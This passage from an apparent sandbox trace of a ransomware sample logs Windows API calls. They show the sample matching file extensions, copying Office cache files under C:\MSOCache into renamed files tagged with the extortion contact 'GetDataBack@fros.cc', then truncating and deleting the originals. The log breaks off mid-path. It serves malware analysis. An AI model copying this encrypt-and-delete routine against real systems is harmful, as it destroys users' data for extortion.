lpString2=".chm") returned 1 [0115.966] lstrlenW (lpString=".xls") returned 4 [0115.966] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0115.966] lstrlenW (lpString=".xlsx") returned 5 [0115.966] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0115.966] lstrlenW (lpString=".ppt") returned 4 [0115.966] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0115.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.966] lstrlenW (lpString=".zip") returned 4 [0115.966] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0115.966] lstrlenW (lpString=".rar") returned 4 [0115.966] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0115.966] lstrlenW (lpString=".bz2") returned 4 [0115.966] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0115.966] lstrlenW (lpString=".7z") returned 3 [0115.966] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0115.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.966] lstrlenW (lpString=".dbf") returned 4 [0115.966] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0115.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.966] lstrlenW (lpString=".1cd") returned 4 [0115.966] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0115.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.966] lstrlenW (lpString=".jpg") returned 4 [0115.966] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0115.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.967] lstrlenW (lpString=".doc") returned 4 [0115.967] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0115.967] lstrlenW (lpString=".docx") returned 5 [0115.967] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0115.967] lstrlenW (lpString=".pdf") returned 4 [0115.967] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0115.967] lstrlenW (lpString=".xls") returned 4 [0115.967] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0115.967] lstrlenW (lpString=".xlsx") returned 5 [0115.967] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0115.967] lstrlenW (lpString=".ppt") returned 4 [0115.967] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0115.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.967] lstrlenW (lpString=".zip") returned 4 [0115.967] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0115.967] lstrlenW (lpString=".rar") returned 4 [0115.967] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0115.967] lstrlenW (lpString=".bz2") returned 4 [0115.967] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0115.967] lstrlenW (lpString=".7z") returned 3 [0115.967] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0115.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.967] lstrlenW (lpString=".dbf") returned 4 [0115.967] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0115.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.967] lstrlenW (lpString=".1cd") returned 4 [0115.967] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0115.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0115.967] lstrlenW (lpString=".jpg") returned 4 [0115.967] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0115.967] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.967] lstrlenW (lpString="Setup.xml") returned 9 [0115.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.968] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=9352) returned 1 [0115.968] CloseHandle (hObject=0x1c4) returned 1 [0115.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0115.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.968] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.968] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0115.968] GetLastError () returned 0x0 [0115.968] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x2488, lpOverlapped=0x0) returned 1 [0115.970] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x2490, lpOverlapped=0x0) returned 1 [0115.971] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0115.971] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0115.971] SetEndOfFile (hFile=0x1c8) returned 1 [0115.971] CloseHandle (hObject=0x1c8) returned 1 [0115.972] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.972] SetEndOfFile (hFile=0x1c4) returned 1 [0115.972] CloseHandle (hObject=0x1c4) returned 1 [0115.972] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.973] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0115.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.973] lstrlenW (lpString=".doc") returned 4 [0115.973] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.973] lstrlenW (lpString=".docx") returned 5 [0115.973] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.973] lstrlenW (lpString=".pdf") returned 4 [0115.973] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.973] lstrlenW (lpString=".xls") returned 4 [0115.973] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.973] lstrlenW (lpString=".xlsx") returned 5 [0115.973] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.973] lstrlenW (lpString=".ppt") returned 4 [0115.973] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.973] lstrlenW (lpString=".zip") returned 4 [0115.973] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.973] lstrlenW (lpString=".rar") returned 4 [0115.973] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.973] lstrlenW (lpString=".bz2") returned 4 [0115.973] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.973] lstrlenW (lpString=".7z") returned 3 [0115.973] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.973] lstrlenW (lpString=".dbf") returned 4 [0115.973] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.974] lstrlenW (lpString=".1cd") returned 4 [0115.974] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.974] lstrlenW (lpString=".jpg") returned 4 [0115.974] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.974] lstrlenW (lpString=".doc") returned 4 [0115.974] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString=".docx") returned 5 [0115.974] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.974] lstrlenW (lpString=".pdf") returned 4 [0115.974] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString=".xls") returned 4 [0115.974] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString=".xlsx") returned 5 [0115.974] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.974] lstrlenW (lpString=".ppt") returned 4 [0115.974] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.974] lstrlenW (lpString=".zip") returned 4 [0115.974] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.974] lstrlenW (lpString=".rar") returned 4 [0115.974] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString=".bz2") returned 4 [0115.974] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString=".7z") returned 3 [0115.974] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.974] lstrlenW (lpString=".dbf") returned 4 [0115.974] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.974] lstrlenW (lpString=".1cd") returned 4 [0115.974] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.974] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.974] lstrlenW (lpString=".jpg") returned 4 [0115.974] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.975] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.975] lstrlenW (lpString="AccessMUI.xml") returned 13 [0115.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.976] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1349) returned 1 [0115.976] CloseHandle (hObject=0x1c4) returned 1 [0115.976] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0115.976] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.977] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.977] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.977] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0115.977] GetLastError () returned 0x0 [0115.977] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x545, lpOverlapped=0x0) returned 1 [0115.978] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x550, lpOverlapped=0x0) returned 1 [0115.979] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0115.979] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xee, lpOverlapped=0x0) returned 1 [0115.979] SetEndOfFile (hFile=0x1c8) returned 1 [0115.979] CloseHandle (hObject=0x1c8) returned 1 [0115.980] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.980] SetEndOfFile (hFile=0x1c4) returned 1 [0115.981] CloseHandle (hObject=0x1c4) returned 1 [0115.981] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.981] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0115.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.981] lstrlenW (lpString=".doc") returned 4 [0115.981] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.981] lstrlenW (lpString=".docx") returned 5 [0115.981] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.981] lstrlenW (lpString=".pdf") returned 4 [0115.981] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.981] lstrlenW (lpString=".xls") returned 4 [0115.981] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.981] lstrlenW (lpString=".xlsx") returned 5 [0115.981] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.981] lstrlenW (lpString=".ppt") returned 4 [0115.981] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.981] lstrlenW (lpString=".zip") returned 4 [0115.981] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.981] lstrlenW (lpString=".rar") returned 4 [0115.981] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString=".bz2") returned 4 [0115.982] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString=".7z") returned 3 [0115.982] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.982] lstrlenW (lpString=".dbf") returned 4 [0115.982] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.982] lstrlenW (lpString=".1cd") returned 4 [0115.982] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.982] lstrlenW (lpString=".jpg") returned 4 [0115.982] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.982] lstrlenW (lpString=".doc") returned 4 [0115.982] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString=".docx") returned 5 [0115.982] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.982] lstrlenW (lpString=".pdf") returned 4 [0115.982] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString=".xls") returned 4 [0115.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString=".xlsx") returned 5 [0115.982] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.982] lstrlenW (lpString=".ppt") returned 4 [0115.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.982] lstrlenW (lpString=".zip") returned 4 [0115.982] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.982] lstrlenW (lpString=".rar") returned 4 [0115.982] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString=".bz2") returned 4 [0115.982] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.982] lstrlenW (lpString=".7z") returned 3 [0115.982] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.982] lstrlenW (lpString=".dbf") returned 4 [0115.983] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.983] lstrlenW (lpString=".1cd") returned 4 [0115.983] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0115.983] lstrlenW (lpString=".jpg") returned 4 [0115.983] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.983] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.983] lstrlenW (lpString="branding.xml") returned 12 [0115.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.983] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=596341) returned 1 [0115.983] CloseHandle (hObject=0x1c4) returned 1 [0115.983] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0115.983] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0115.983] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.983] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0115.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0115.984] GetLastError () returned 0x0 [0115.984] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x91975, lpOverlapped=0x0) returned 1 [0115.998] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x91980, lpOverlapped=0x0) returned 1 [0116.016] ReadFile (in: hFile=0x1c4, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0116.016] WriteFile (in: hFile=0x1c8, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0116.016] SetEndOfFile (hFile=0x1c8) returned 1 [0116.016] CloseHandle (hObject=0x1c8) returned 1 [0116.021] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0116.021] SetEndOfFile (hFile=0x1c4) returned 1 [0116.027] CloseHandle (hObject=0x1c4) returned 1 [0116.027] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.028] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all 